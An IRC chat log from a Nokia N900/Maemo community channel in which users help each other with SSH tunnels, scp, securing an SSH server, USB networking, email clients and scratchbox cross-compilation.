**** BEGIN LOGGING AT Tue Sep 21 02:59:57 2010 Sep 21 03:37:02 hi. how can I add a script to the application menu? Sep 21 03:37:50 make a .desktop file for it Sep 21 03:38:11 I think those .desktop files hang out in /usr/share/applications or a subdirectory of that Sep 21 03:39:12 thanks johnx Sep 21 03:46:24 ok, If I have in the .desktop file the line Exec=/usr/home/ssh-status.sh, when I click on the icon in the menu, the script is not run... any idea why? Sep 21 03:46:56 just the usual ideas: is it executable? is /usr/home actually where it lives? Sep 21 03:48:12 you right :-) it is in /home/user not in /usr/home Sep 21 03:49:01 also, /home/user/script.sh is ok, but /home/user/MyDocs/script.sh is not ok, since /home/user/MyDocs is a FAT fs and scripts can't be executed from it (by default) IIRC Sep 21 03:49:13 ok Sep 21 03:49:17 let me try Sep 21 04:09:49 ok. so my script creates a ssh tunnel. if I run the script in terminal, the tunnel is created as it should. if I run the script from the desktop file (clicking on the icon in the app menu), I get the message that the tunnel was created, but if I check with ps, the tunnel is not running. the question is, what's the difference between running a script in terminal and starting it from the app menu? Sep 21 04:26:13 this is my script. when I start it from the menu, I get to the ssh tunnel creating command (line 36) because the proxy is enabled (lines 28 to 35), but the tunnel is not created Sep 21 04:26:25 http://pastie.org/1171514 Sep 21 04:26:50 if I run the same script from terminal, the tunnel is created Sep 21 04:30:09 paulanagrama: just use CLI like a man! Sep 21 04:30:39 what do you mean luke-jr? Sep 21 04:31:09 paulanagrama, my wild guess is that it's $PATH related Sep 21 04:31:21 I think my meaning is perfectly clear, kthx Sep 21 04:31:46 paulanagrama, luke-jr is being a troll, like usual. don't worry about him Sep 21 04:31:56 hehe Sep 21 04:31:56 my other thought is that ssh might want a controlling terminal Sep 21 04:32:06 johnx: not if you put -N Sep 21 04:32:22 hence (thought ... might) :) Sep 21 04:32:40 -N disable troll mode Sep 21 04:32:42 rtfm! Sep 21 04:33:10 and do think all this time I just wasn't passing you the *right* argument. heh Sep 21 04:34:00 I'll try to move the script in /usr/sbin and see if that makes any difference Sep 21 04:34:21 that would probably be even less good Sep 21 04:35:03 if it was me, I'd just start logging all output to a file Sep 21 04:35:25 but I've been known to take the easy way out ;) Sep 21 04:39:26 yeah, just the same in that dir too. under what user are the applications started when you run them from the app menu? Sep 21 04:39:45 same user as on the command line Sep 21 04:40:24 on the command line I run it as root Sep 21 04:40:42 aaaah, huh Sep 21 04:41:31 hmm. probably I need to get a certificate for ssh under user too Sep 21 04:48:13 hm this is weird Sep 21 04:48:29 i woke up this morning booted my n900 but ssh wont work anymore from xterm Sep 21 04:48:36 seems to be gone lol :| Sep 21 04:48:58 uhm, little more detail needed :P Sep 21 04:49:13 ssh not found ;) Sep 21 04:49:30 result of: ls -l /usr/bin/ssh Sep 21 04:49:31 ? Sep 21 04:50:07 yeah need to install again but still why its gone in first place Sep 21 04:50:36 dr34m, yeah, without a bit more detail, all I can do is make something up Sep 21 04:50:38 think my phone develops own life Sep 21 04:50:55 mom Sep 21 04:51:06 your government is taking away any software that enables high security encryption Sep 21 04:51:10 and Nokia is helping them Sep 21 04:51:19 also, all of us in here are members of the CIA Sep 21 04:51:25 I think my problem is that I don't have auto login for ssh under the user. I can't fix it now because I need access to the server to copy the certificate... but I think that's the problem Sep 21 04:51:58 well, log into the server as root. root has auto-login, right? Sep 21 04:52:17 yeah Sep 21 04:52:28 anyone able to help me debug the usb networking between the n900 and my eeepc? I get a positive answer in syslog in the eeepc of the plugin event and the renaming of the interfce, but the n900 dmesg is full of crud :/ Sep 21 04:52:34 such as " [115043.418914] musb_hdrc periph: enabled ep7in for int IN, maxpacket 16 " Sep 21 04:53:10 and ping is giving me an invalid argument reply Sep 21 04:54:23 invalid argument? full output? Sep 21 04:54:31 johnx, I have the ssh password, I can ssh under the user too, but I have to create a certificate that resides on the server and then copy it to n900 in .ssh in the user's home... and I can't (I don't know how) to copy the certificate from here. The server is my office computer. I'll do it tomorrow Sep 21 04:54:50 scp :) Sep 21 04:55:09 johnx: black901eeepc:/home/johnp# ping 192.168.2.15 Sep 21 04:55:09 PING 192.168.2.15 (192.168.2.15) 56(84) bytes of data. Sep 21 04:55:09 ping: sendmsg: Invalid argument Sep 21 04:55:40 huh Sep 21 04:55:50 I can't remember if that's normal or not Sep 21 04:56:23 yeah, I am too lazy now to look into scp or to install filezilla... I'm watching dancing with the stars in the same time. thanks for help johnx, I know what is wrong now Sep 21 04:56:25 apt-get install openssh-client did it again Sep 21 04:56:39 not normal - and from the n900 there is no response to pin Sep 21 04:57:20 johnx: this has been an intermittent pita on reconnecting the usb network Sep 21 04:57:25 paulanagrama, cheat sheet: scp file.txt user@example.com:/path/to/dir/ Sep 21 04:58:19 * johnx 's new purpose in life: to interrupt people who are watching dancing with the stars Sep 21 04:58:26 or use sshfs ;) Sep 21 04:59:01 sshfs isn't on every machine with openssh ;) Sep 21 05:00:06 * jpinx-eeepc admins his fs with sshfs from the eeepc's pcmanfim - too easy Sep 21 05:00:31 ok, let me try. Sep 21 05:01:10 johnx: so what am I looking for in dmesg when I plug the usb network cable into the n900? Sep 21 05:02:32 when I plug or unplug it, the PCsuite option comes up, but there is no sensible entry in dmesg;/ Sep 21 05:02:38 jpinx-eeepc, dunno Sep 21 05:02:46 Shapeshifter, reactionfaceoff works now Sep 21 05:02:49 and there is no syslog to tail Sep 21 05:09:49 johnx, so scp file.txt user@example.com:/path/to/dir/ copies the file.txt from the server to the local machine in current dir? Sep 21 05:10:00 nope Sep 21 05:10:03 it's just like cp Sep 21 05:10:08 ok Sep 21 05:10:29 remote to local: scp remote:/path/file.txt /localdir/ Sep 21 05:11:00 the only rule is that, IIRC, at most one can be remote Sep 21 05:12:11 actually i think two remotes are possible Sep 21 05:12:17 huh Sep 21 05:12:18 but it will be painfully slow Sep 21 05:12:36 you act as a link between the two remotes Sep 21 05:13:10 well you're right. wow. I've been thinking that wasn't possible for the longest time Sep 21 05:20:29 YES! works now. Sep 21 05:20:50 hot sauce Sep 21 05:21:00 also: scp is totally invaluable and will change your life :) Sep 21 05:22:00 I'm using that script to create a secure http tunnel from my n900 to my computer, so if I'm on unsecured wifi somewhere and I want to access my bank I don't have to worry... Sep 21 05:22:18 now I have a way to start it easy from the menu! Sep 21 05:23:45 johnx: it's gremlinss -- I unplugged and replugged after a minute, was reading dmesg and suddenly it started pinging :/l Sep 21 05:24:04 I hate USB gremlins Sep 21 05:24:08 my n900 is definitely female Sep 21 05:24:18 moody and contrary :D Sep 21 05:24:31 * jpinx-eeepc ducks and runs Sep 21 05:24:41 thanks for the help. see ya all Sep 21 05:24:42 passes out just when you get excited? Sep 21 05:24:45 but still the object of your desire Sep 21 05:24:50 'later paulanagrama Sep 21 05:26:16 yea - something like all of that :) Sep 21 05:26:28 works a treat when it works :) Sep 21 05:26:59 and then you fall asleep and it still has battery life for another 6 hours Sep 21 05:27:01 * johnx ducks Sep 21 05:27:20 heh - you get that problem too? ;) Sep 21 05:27:52 * jpinx-eeepc sticks a usb charger up johnx s ..... Sep 21 05:27:55 nah, I just plug my N900 in at night. Dunno what you're talking about ... Sep 21 06:01:25 MohammadAG51: yay Sep 21 06:17:53 I installed openssh client and server, now how can I run it? Sep 21 06:18:32 the server is running Sep 21 06:18:34 lolloo, it's running Sep 21 06:19:25 yup, i'm logged in right now Sep 21 06:20:22 how can I login? Sep 21 06:20:29 just ssh root@192.168.1.11 (or whatever ip shows in ifconfig) Sep 21 06:22:11 so if someone logged in my server can take control of my n900..: Sep 21 06:22:15 ? Sep 21 06:23:06 i already did Sep 21 06:23:09 wait, logging off Sep 21 06:23:11 you have a password Sep 21 06:23:39 yes I made a password. is it safe now? Sep 21 06:24:22 is there a way to login from my pc witn windows to my N900? Sep 21 06:24:40 lolloo: putty Sep 21 06:24:55 whats that? Sep 21 06:25:11 google - it's ssh from windows Sep 21 06:25:21 ok Sep 21 06:26:03 so what is the main use of openssh? Sep 21 06:27:07 is it available for wondows? Sep 21 06:27:34 lolloo, why did you install openssh if you don't know what to use it for? Sep 21 06:27:50 I saw the chat here Sep 21 06:28:03 openssh works with cygwin? Sep 21 06:28:40 you can get a shell on your N900 from your desktop. Also, you can use it to transfer files with filezilla or another ftp/sftp client Sep 21 06:28:43 that's about it Sep 21 06:28:53 wow Sep 21 06:29:51 there are some differences / restrictions, but with sshfs I can view and modify the fs either locvally or remotely without issues Sep 21 06:31:34 what is my ip to login? Sep 21 06:32:24 lolloo: in the n900 open a Xterm and do ifconfig -a and you will see the local IP Sep 21 06:32:36 awesome, Sep 21 06:32:44 you might have to be root - can't remember Sep 21 06:33:05 yeah you do Sep 21 06:33:08 how do I close connection or open it? Sep 21 06:33:47 i got 1270.0.1 Sep 21 06:33:51 to exit type "exit" Sep 21 06:33:54 is that right IP? Sep 21 06:34:08 where do I type exit in? Sep 21 06:34:56 yeah, you probably need to read up a bit more on how the command line and networking works in general before this will be very helpful to you Sep 21 06:35:13 am using putty. Sep 21 06:35:23 what is my login name? Sep 21 06:35:34 root Sep 21 06:36:23 awesome johnx Sep 21 06:36:36 now how do I transfer files? Sep 21 06:36:46 get an sftp client, like filezilla Sep 21 06:36:54 i thought is was user? Sep 21 06:37:15 root or user work, but openssh only makes you set a root password Sep 21 06:37:18 toggles dependes, you can config user i think Sep 21 06:37:41 I get the feeling that lolloo hasn't set a password for user yet ... Sep 21 06:37:58 hahaha Sep 21 06:38:02 I did Sep 21 06:38:18 ok am using FireFTP, Sep 21 06:38:25 is it fine? Sep 21 06:38:30 sure Sep 21 06:38:33 where do I put my IP? Sep 21 06:38:40 no idea Sep 21 06:38:58 what's the IP Sep 21 06:39:17 should be 192.168.#.## Sep 21 06:39:23 192.168.1.65 Sep 21 06:39:43 filezila says unable mmm Sep 21 06:40:56 how do I run the server again? Sep 21 06:41:01 from my phone? Sep 21 06:41:24 lolloo, it starts automatically Sep 21 06:42:31 is it running now? Sep 21 06:42:38 how do I stop it? Sep 21 06:43:47 xterm Sep 21 06:43:58 lolloo, root, /etc/int.d/ssh stop Sep 21 06:44:10 ok Sep 21 06:46:10 congrats! worked! Sep 21 06:46:23 but how will it run if i close it? Sep 21 06:52:45 I couldnt close the server. Sep 21 06:53:13 /etc/int.d/ssh stop Sep 21 06:53:16 i used this Sep 21 06:53:48 didnt close it Sep 21 06:55:38 I think there's some widget in repos that acts as an on/off switch for sshd Sep 21 06:55:44 wow Sep 21 06:55:46 lolloo, exit Sep 21 06:56:11 lolloo, also: http://linuxcommand.org/learning_the_shell.php Sep 21 06:56:12 I would like to get it MiXu- Sep 21 06:56:19 Well then go get it :D Sep 21 06:56:35 It's in extras or extras-testing Sep 21 06:56:37 MiXu-, I think he's asking for permission Sep 21 06:59:27 omg thank you so much guys! Sep 21 06:59:34 it worked! Sep 21 06:59:58 really funl but which directory is my pictures? Sep 21 07:05:07 what directory is my images on my N900? Sep 21 07:06:15 its /home/user/MyDocs/.images/ on the n8x0 Sep 21 07:07:16 awesome air! Sep 21 07:09:14 same on the n900? Sep 21 07:14:24 yes air Sep 21 07:23:53 where can I find Maemo Notify plugin for xchat? Sep 21 07:24:04 where is it on my phone? Sep 21 07:25:07 is it something xchat installed? Sep 21 07:25:28 yes. Sep 21 07:25:47 dpkg -l xchat Sep 21 07:25:58 -l Sep 21 07:26:04 that should display all files xchat installed Sep 21 07:26:29 er -L Sep 21 07:26:41 haha yes Sep 21 07:27:08 its not installed Sep 21 07:27:21 where is the plugin actuel directory? Sep 21 07:28:04 no idea Sep 21 07:35:30 'sup Sep 21 07:37:49 I found the SSH status and switcher! YAY! Sep 21 07:40:08 can anyone login to my ssh server? Sep 21 07:40:21 not without a hostname, username and password. Sep 21 07:41:17 can you know my hostname from here? from IRC? Sep 21 07:41:39 lolloo: you really don't want other people to ssh to your device Sep 21 07:42:03 yes I dont... I want to know how to protect it. Sep 21 07:42:14 put a proper password on it Sep 21 07:42:14 :P Sep 21 07:42:17 Stskeeps, why not? I have people ssh:ing to mine all the time. Sep 21 07:42:23 disable password, use keys Sep 21 07:42:38 lolloo: are you on 3G? Sep 21 07:42:40 is it possible for you guys to know my hostname from here? Sep 21 07:42:45 yes Sep 21 07:42:49 move server to a different port Sep 21 07:42:50 omg Sep 21 07:43:04 but that only matters if you're directly connected to the internet, without any NAT Sep 21 07:43:07 which I highly doubt Sep 21 07:43:21 crashanddie, why would you doubt that? Sep 21 07:43:22 I am using wirless Sep 21 07:43:30 crashanddie, ok. That's why :) Sep 21 07:43:42 lolloo, just set a better password Sep 21 07:43:49 the one you have now is too easy to guess Sep 21 07:43:57 I've found the .osso-abook for the contact list, but where is the db of the messages/conversation? Sep 21 07:44:12 jpinx-eeepc: google el.db Sep 21 07:44:21 crashanddie: k Sep 21 07:45:22 lolloo: you're using a wireless router, and there's a high probability that it is NAT'd. This means that it is difficult (although not impossible, given the proper configuration) for someone to enter your network and talk to devices directly. Sep 21 07:46:26 * lolloo sees Sep 21 07:46:31 this being said, the issue isn't so much from the outside of the internet, but from your local network. Sep 21 07:46:47 Don't forget that you'll be likely to connect your N900 to a bunch of different hotspots in the future Sep 21 07:47:05 so just change the SSH port to a non-default one, and disable password authentication, only use key-based auth. Sep 21 07:47:30 in some countries incoming tcp connections are filtered in GPRS networks as well, so it's not necessarily problem there either.. but it depends Sep 21 07:47:35 ok, just start by making up a better password Sep 21 07:47:58 changing server port is waste of time.. Sep 21 07:48:01 Surfa: it's not really about incoming tcp connections being filtered Sep 21 07:48:22 crashanddie, why not? Sep 21 07:48:31 Surfa: it's about shared IP addresses and the incoming routers (if they're listening at all) not knowing where to send the data Sep 21 07:48:57 i'm not talking about nat here Sep 21 07:48:57 if everyone had unique IP addresses on 3G/GPRS, then you would still get pwned immensely Sep 21 07:49:12 you really believe your 3G IP address is unique? Sep 21 07:49:18 that nobody else is using it? Sep 21 07:49:26 i dont' need to think so because I know it is Sep 21 07:49:41 well, then you're a lucky person (well, not really, no use), and your ISP is an idiot Sep 21 07:49:52 the time I'm using it, after closing the connection the case is totally different Sep 21 07:49:54 what is the simplest application to read that db from the commandline, and maybe export it in plain text or .csv ? Sep 21 07:50:08 jpinx-eeepc: sqlite Sep 21 07:50:16 Morning, all Sep 21 07:50:31 sqlite3 Sep 21 07:50:35 the 3 is important Sep 21 07:50:41 ask me how I know ... Sep 21 07:50:51 crashanddie, idiots all over the place, but anyway many operators even that they offer public ip addresses filter out incoming tcp connections in some countries which gives protection of some kind Sep 21 07:50:59 sounds like bad experience johnx ;9 Sep 21 07:51:09 Surfa: I've only seen very few ISPs actually provided non-NAT'd services to 3G users. Well, including yours, that's 2. Sep 21 07:51:28 jpinx-eeepc, I just didn't realize they were different commands. Bashed my head against a wall wondering why my database was 'corrupted' Sep 21 07:51:31 welcome to finland Sep 21 07:51:37 heh Sep 21 07:51:37 crashanddie, 3 Sep 21 07:51:40 here we have this thing called "reilu meininki" Sep 21 07:51:51 crashanddie: Hi, any news yet on the wireless injection driver? Sep 21 07:51:51 johnx: ok - thanks Sep 21 07:52:07 tobis87: working on it, but life got in the way, I can email it if you want Sep 21 07:52:19 it's not neatly packaged, but should do the trick Sep 21 07:52:24 it's not that uncommon, many operators offer parallel apn's that provide public ip-addresses for the users that feel to need it Sep 21 07:52:37 kerio has it, he should be able to say if it worked for him or not Sep 21 07:52:56 and many natted apn's are suffering from capacity problems in nat tables (in finland) Sep 21 07:53:04 still haven't tried that :| Sep 21 07:53:04 crashanddie: Is it already source, or do you only have the neopwn binaries? Sep 21 07:53:12 only binaries Sep 21 07:53:20 i don't have a working usb port and it's my only phone at the moment so... Sep 21 07:53:20 or ASM source if you want :P Sep 21 07:54:30 is there *any* proper email client for n900? Sep 21 07:54:50 the default one is not. I'm thinking something like icedove Sep 21 07:55:03 crashanddie: Ok, I can wait... It's not that I don't trust it, but I don't like using binary modules without knowing the src in general. I also have compiled the fcam drivers myself, I did had bad cflags inside the makefile -O2 -g Sep 21 07:55:33 so you read the whole openoffice, firefox, and linux source code? Sep 21 07:55:57 point taken though, working on it Sep 21 07:57:15 No, it depends. I read changes to drivers. I do trust drivers which come from mainland. Sep 21 07:57:39 I'm in France, does that count as "mainland"? Sep 21 07:57:56 crashanddie, nah, that counts as something else ; Sep 21 07:58:04 s/;/;)/ Sep 21 08:00:42 why didn't infobot notice that one? Sep 21 08:00:49 s/one/regex/ Sep 21 08:00:49 crashanddie meant: why didn't infobot notice that regex? Sep 21 08:00:51 let me rephrase this: is the n900 default mail program the only email program available? Sep 21 08:01:12 not counting easydebian+icedove or such, that business people won't use Sep 21 08:01:27 it's not an e-series phone Sep 21 08:01:31 it's not aimed at business users Sep 21 08:01:37 crashanddie, I bet the ; is some sort of reserved char Sep 21 08:01:40 which is something I've been crying about for ages Sep 21 08:01:44 I know, but no alternative email client? Sep 21 08:01:48 s/\;/\;pwnd/ Sep 21 08:01:50 joga, I think there might be claws or something. not sure Sep 21 08:01:53 hm Sep 21 08:01:53 there's like 5 different browsers Sep 21 08:02:06 browsers are cool Sep 21 08:02:08 email clients are boring Sep 21 08:02:19 joga: which should tell you about the state of fat-client email clients Sep 21 08:02:19 it's not that *I* need it, but I was asked about it Sep 21 08:02:42 and I admit it would be kind of cool to, say, being able to sort the messages Sep 21 08:02:49 and if it would even show all the messages there too Sep 21 08:02:53 as opposed to gmail, hotmail, foomail Sep 21 08:03:17 in this case the problem is using lotus notes mail :) Sep 21 08:03:28 (and the webmail for that stinks just as bad as notes itself) Sep 21 08:03:28 joga, there appear to be some: qmfmail - The Qt Mail Application, claws-mail - A GTK+ based, lightweight, and fast e-mail client. and trojita - A Qt IMAP e-mail client Sep 21 08:03:42 (there I found by using 'apt-cache search') Sep 21 08:03:47 (these, even) Sep 21 08:03:53 hmm...I guess those don't show up in my fam Sep 21 08:04:04 they could come from extras-devel Sep 21 08:04:13 in other words, quality not guaranteed :-) Sep 21 08:04:15 k, so nerd solution :) Sep 21 08:05:02 yeah, they all come from extras-devel Sep 21 08:05:04 joga: does notes provide POP/IMAP read access? Sep 21 08:05:11 crashanddie: yes, imap4 Sep 21 08:05:15 apparently there's an itch people want to scratch :) Sep 21 08:05:20 then use gmail to access it :P Sep 21 08:05:27 ...no :) Sep 21 08:05:34 it has its own webmail too Sep 21 08:06:28 webmail != good interface Sep 21 08:06:52 it's simply not acceptable to use gmail for any of this Sep 21 08:07:14 it isn't? Sep 21 08:07:16 nope Sep 21 08:07:38 (in this case. I work at the university, and these people's mail don't belong to google) Sep 21 08:09:00 hmm, qmfmail does show up, I guess it's in -testing Sep 21 08:09:53 actually someone at some meeting proposed using google calendar and was quickly thwarted by the security folks Sep 21 08:10:16 but I'll try qmfmail and see if it can handle notes.. Sep 21 08:10:21 lol Sep 21 08:11:06 if you're using notes, you're most probably part of an organisation (or government branch) that buys the IT services from another company Sep 21 08:11:30 we host the notes servers Sep 21 08:11:37 and? Sep 21 08:11:49 we don't host gmail Sep 21 08:11:52 ::) Sep 21 08:11:54 -: Sep 21 08:12:19 there's probably thousands of systems in use here, some more critical than others Sep 21 08:12:35 so the people who work in your IT department are not contracted? Sep 21 08:12:36 notes is something of a burden Sep 21 08:12:40 no Sep 21 08:12:53 Well yeah, notes is one of those PITA solutions that overstayed its welcome Sep 21 08:13:11 yeah, no direct replacement exists Sep 21 08:13:21 do you use it for project management, bug tracking and all too? Sep 21 08:13:23 and it would be a ... *huge* job to even migrate to it :) Sep 21 08:13:51 it's used for all sorts of things... Sep 21 08:14:12 my last contracting gig was just that -- bug tracking on one side in lotus notes, and we were supposed to manually commit them into my company's bugtracker Sep 21 08:14:52 I quickly wrote a python script that would get the new/update fixes, send them as patches to my inbox, queue them up for testing, and would commit them immediately to the real bugtracker Sep 21 08:15:07 hehe Sep 21 08:15:44 It's funny though, I was probably doing something illegal by doing that Sep 21 08:15:48 fucking stupid government guideilnes Sep 21 08:15:54 s/iln/lin Sep 21 08:16:01 how's that illegal Sep 21 08:16:33 kerio: I think I read that we weren't allowed to interact with production servers unless the tools used to access them were approved by a manager Sep 21 08:16:44 and signed off by the customer Sep 21 08:17:04 rofl Sep 21 08:17:35 technically speaking, I wasn't allowed to talk to specific people on the same floor as me -- because I was representing an exterior commercial entity, and they were influential decisionmakers. Sep 21 08:17:51 hahaha Sep 21 08:18:14 sounds like fun Sep 21 08:18:28 The day the building flooded, I really felt like just legging it and not telling anyone so they'd drown: "I wasn't allowed to talk to them!!!" Sep 21 08:18:35 the irony of influential decisionmakers who are so easily influenced that you cant talk to them Sep 21 08:18:46 nidO: innit Sep 21 08:19:35 nid0: truth is, you're probably more likely to influence decisions by talking to 200 low-levels than 1 high-level. Sep 21 08:19:49 The low-levels aren't expecting to be paid off with a villa in the south of france. Sep 21 08:20:11 qmfmail can handle notes mail better, it seems, but the UI is cramped to say the least Sep 21 08:21:12 johnx: ffx sqlite add-on :) Sep 21 08:21:50 wow. coolness Sep 21 08:21:59 is there a blacklist app for N900? I've got an anormous list of telemarketing phone numbers. Sep 21 08:22:06 but yeah, it "kinda" works at least. the n900 email program simply hid the new messages and called them expunged, and showed two inboxes Sep 21 08:25:06 also funny thing: the usernames for Notes can either be used in short form "johndoe" or long form "John Doe/dept/Our University", and the first time I entered the account info in mail, it didn't complain about long form Sep 21 08:25:29 now that I went to edit it, it says " " is invalid for the field, and the username field is empty, gray, and unmodifiable Sep 21 08:25:39 so I guess now I have to delete the account and do it again or something... Sep 21 08:25:49 it's thinking you're doing a perl replace Sep 21 08:25:52 :D Sep 21 08:26:19 perl: Error: "Our University" is an illegal modifier for regex /dept/ Sep 21 08:26:26 heh Sep 21 08:26:30 LOL Sep 21 08:26:42 it actually says 'Field unable to contain " "' Sep 21 08:26:52 to be fair, having / in a username is just plain stupid Sep 21 08:27:01 kerio, notes *IS* plain stupid Sep 21 08:27:02 :) Sep 21 08:27:09 yeah, that was the logical conclusion Sep 21 08:29:35 well, either Lotus isn't following standards or the mail program isn't ... Sep 21 08:29:46 or both Sep 21 08:33:15 ~seen Sep 21 08:33:44 qmfmail seems to handle it without problems at least... Sep 21 08:33:52 it's just unusable otherwise :) Sep 21 08:36:24 johnx: fail to read sqlite3 in that add-on:( Sep 21 08:36:33 ouch Sep 21 08:36:43 but at least you knew that was something that could happen :) Sep 21 08:37:27 johnx: working on it.... Sep 21 08:40:17 johnx: lotus notes doesn't follow standards Sep 21 08:40:35 johnx: / is an illegal character IIRC, and it only works within notse Sep 21 08:40:53 then how do people with lotus notes get email from people ... ? Sep 21 08:41:06 there's an alias Sep 21 08:41:37 good guess, but in this case the email client is at fault: http://en.wikipedia.org/wiki/Email_address#Syntax Sep 21 08:42:02 also, just because '/' is MUST be supported, doesn't mean that it 'SHOULD NOT' be used Sep 21 08:42:38 johnx, indeed, because most people just validate for characters that are valid per their gut-feeling Sep 21 08:42:46 other developers should take that into account. Sep 21 08:43:33 * johnx phrased that one badly, but doing an s///g would take too long Sep 21 08:46:02 what I was trying to say was that there are a fair number of situations that 'MUST' be supported, even though the next line of the spec says that they 'SHOULD NOT' be used Sep 21 08:46:23 such as, case sensitivity in the local part of the email address Sep 21 08:52:12 well, servers can provide different interpretations of valid addresses, but surely email clients should be as permissive as possible? Sep 21 08:53:21 and by different interpretations I of course mean the servers that finally deliver the messages to the inboxes; the intermediate servers again should be as permissive as possible Sep 21 08:56:17 any of you guys played with titan's power kernel? especially in the form of custom compiling and hopefully tinkered with extraversion tags Sep 21 09:11:59 hmm can you make an infoprint stay longer than the 3 seconds or so it does by default I wonder? Sep 21 09:23:45 aaaaw crap! trying to find reference manuals for python osso stuff is making me want to do drugs!! Sep 21 09:25:57 mece: do drugs once you find it Sep 21 09:26:08 you'll make killer apps! Sep 21 09:37:22 how can I turn ON xchat plugin maemo notifier? Sep 21 09:38:50 ok apparently infoprints can't be easily customized :/:/:/ Sep 21 09:38:54 bleh. Sep 21 09:39:14 good morning #maemo! Sep 21 09:39:37 just a tiny "timeout" variable with a default value would have made that function sooo much better Sep 21 09:42:22 how can I turn ON xchat plugin maemo notifier? it's there but not working! Sep 21 09:42:34 good morning MNZ Sep 21 09:43:23 Help! Sep 21 09:43:32 timeless_pidgin, what's up? Sep 21 09:44:00 I'm looking for a place where apple (probably steve jobs) explained the mistakes made by cell phone vendors Sep 21 09:44:11 It was probably the initial iphone launch Sep 21 09:45:07 you mean where he explained about people not needing copy+paste or where he explained that people were holding cell phones wrong? Sep 21 09:46:03 Not iphone 4 Sep 21 09:46:21 Where he said that vendors let networks dictate features Sep 21 09:46:33 And how that led to garbage Sep 21 09:46:48 Iirc there were about 5 points Sep 21 09:47:06 ah yes, shortly before the networks got apple to make tethering a lockable option that requires an extra payment to the carrier + itunes to unlock. Sep 21 09:47:30 Ignore that Sep 21 09:47:54 It's the principle that counts Sep 21 09:48:07 Link help wanted Sep 21 09:48:08 timeless_pidgin, this one perhaps? http://www.youtube.com/watch?v=gO420B02Q84 Sep 21 09:48:44 http://www.youtube.com/watch?v=vZYlhShD2oQ perhaps? Dunno Sep 21 09:49:23 Is there a standalone youtube app? Sep 21 09:49:37 That supports urls like the above? Sep 21 09:49:37 zoutube if you talk about n900 Sep 21 09:49:41 hmm Sep 21 09:49:47 ni idea actually. Sep 21 09:49:57 I have zoutube... Sep 21 09:50:17 I don't remember how it works Sep 21 09:51:20 Ah, the hidden search menu item does Sep 21 09:52:11 :) Sep 21 09:53:49 ok damn.. Sep 21 09:54:07 I wonder if I can do a while loop that checks whether the phone is ringing... Sep 21 09:55:15 Mece: my hit is bad, yours sounds promising Sep 21 09:56:04 * timeless_pidgin kicks the zootube packager Sep 21 09:56:34 It isn't a network app, it's multimedia! ! Sep 21 09:57:28 hehehe Sep 21 09:57:46 oh man. Steve Jobs is quite the douche Sep 21 09:58:17 please don't insult people cheaply Sep 21 10:00:28 awesome video Sep 21 10:00:46 Hi Sep 21 10:01:02 Anyone set up to test a Qt application for Maemo 5 on PR 1.2 here? Sep 21 10:01:15 https://bugs.maemo.org/show_bug.cgi?id=10519 <- I'd like to see if we can confirm this bug Sep 21 10:01:16 Bug 10519: qt-maemo-gravity-example has obsolete Qt configuration Sep 21 10:01:29 (and I'm not set up for it right now) Sep 21 10:01:46 Mece: he's an excellent speaker Sep 21 10:06:11 how can I turn ON xchat plugin maemo notifier? it's there but not working! Sep 21 10:07:37 hi...I need help in installing gcc on nokia N900 mobile.. Sep 21 10:07:48 Don't Sep 21 10:07:56 It's a waste of space Sep 21 10:08:06 Use a real computer Sep 21 10:08:19 Rent one from the cloud if you don't have one Sep 21 10:08:31 We need to compile some applications .. Sep 21 10:08:56 then use scratchbox Sep 21 10:09:03 or just apt-get install build-essential Sep 21 10:09:09 Computers can do that... Sep 21 10:09:14 Oddly enough Sep 21 10:09:22 on arm target or on X86 target? Sep 21 10:09:36 kirkum: scratchbox enables cross-compilation Sep 21 10:09:43 morning guys Sep 21 10:09:56 Computers are flexible! Sep 21 10:09:57 okay.. Sep 21 10:09:59 Morning all Sep 21 10:10:12 kirkum: meaning you get the speed of your desktop computer with the toolkit present on your N900. The apps you compile in scratchbox run fine on your N900# Sep 21 10:11:00 timeless_pidgin, are you so kind of paste the link of the last day please, my firefox was crased and lost all the tabs :/ Sep 21 10:11:09 interesting, mbatle & w00t_ just got out of a meeting? Sep 21 10:11:15 hoo.. im a newbie here.. soo if i can compile something on scratchbox.. will that work on n900 too? without installin gcc on n900... Sep 21 10:11:20 Alogeno: read the topic Sep 21 10:11:26 It has a link to logs Sep 21 10:11:27 i cant find the madde qemu stuff with google :( Sep 21 10:11:33 kirkum: that's just what I said, isn't it? Sep 21 10:11:34 * Khertan is looking for a d-bus org.freedesktop.Notification to help him to understand the dbus-callback-default isn't working on Khweeteur Sep 21 10:11:40 kk Sep 21 10:11:44 * Khertan is looking for a d-bus org.freedesktop.Notification expert to help him to understand the dbus-callback-default isn't working on Khweeteur Sep 21 10:11:47 Mece: not part 4 Sep 21 10:11:49 crashanddie_: nope, network just exploded at a guess Sep 21 10:11:55 Maybe 5? Sep 21 10:12:10 Mece: can i get you to scan forward? :( Sep 21 10:12:16 crashanddie: okay ill try that :D Sep 21 10:12:51 :D thank you one more time timeless_pidgin Sep 21 10:13:03 kirkum: scratchbox can be a bit finicky to setup initially, but once it's setup and working it really is "good" (note the quotes). For most people, it's infinitely better than compiling on the N900 Sep 21 10:14:49 scratchbox is a pain, but when you've got a good setup, mines VM with ssh, it's usable :) Sep 21 10:15:08 yeah, definitely install it in a VM Sep 21 10:15:14 or git the whole /scratchbox install Sep 21 10:15:18 it's so easy to break, lol... Sep 21 10:16:12 "You rebooted without properly unmounting Scratchbox, therefor it has commited Harakiri" Sep 21 10:16:16 he Sep 21 10:16:24 heh .. Sep 21 10:16:56 crashanddie: okay.. thing is that my application to be deployed on mobile uses a "QProcess".. which requires a toolkit to be installed on the device.. Sep 21 10:17:13 is there a virtualbox vm ready to use? Sep 21 10:17:14 then just install the toolkit in scratchbox Sep 21 10:17:49 kirkum: scratchbox attempts to be an emulator, in the way that you get an ARM cpu that can do most of the things the N900's CPU can do Sep 21 10:18:13 yaa.. thats were i was lil confused.. now ill try that.. thanks.. Sep 21 10:23:28 MADE is supposed to be a complete sdk solution Sep 21 10:23:36 Including scratchbox Sep 21 10:23:48 The demos i've had show it mostly working Sep 21 10:24:02 Although the demos didn't include installing it Sep 21 10:25:00 timeless_pidgin: is /usr/bin/ld: warning: ../../staticlib/libmozipc_s.a(GeckoChildProcessHost.o) uses 2-byte wchar_t yet the output is to use 4-byte wchar_t; use of wchar_t values across objects may fail Sep 21 10:25:05 bad? Sep 21 10:36:18 timeless_pidgin, sorry was afk Sep 21 10:37:26 and going akf again... Sep 21 10:38:32 Sp3000: ping. Email. Please poke james. I'd like to send that today. Preferably w/ the missing link Sep 21 10:42:04 moo Sep 21 10:51:08 hi Sep 21 10:51:35 moin Sep 21 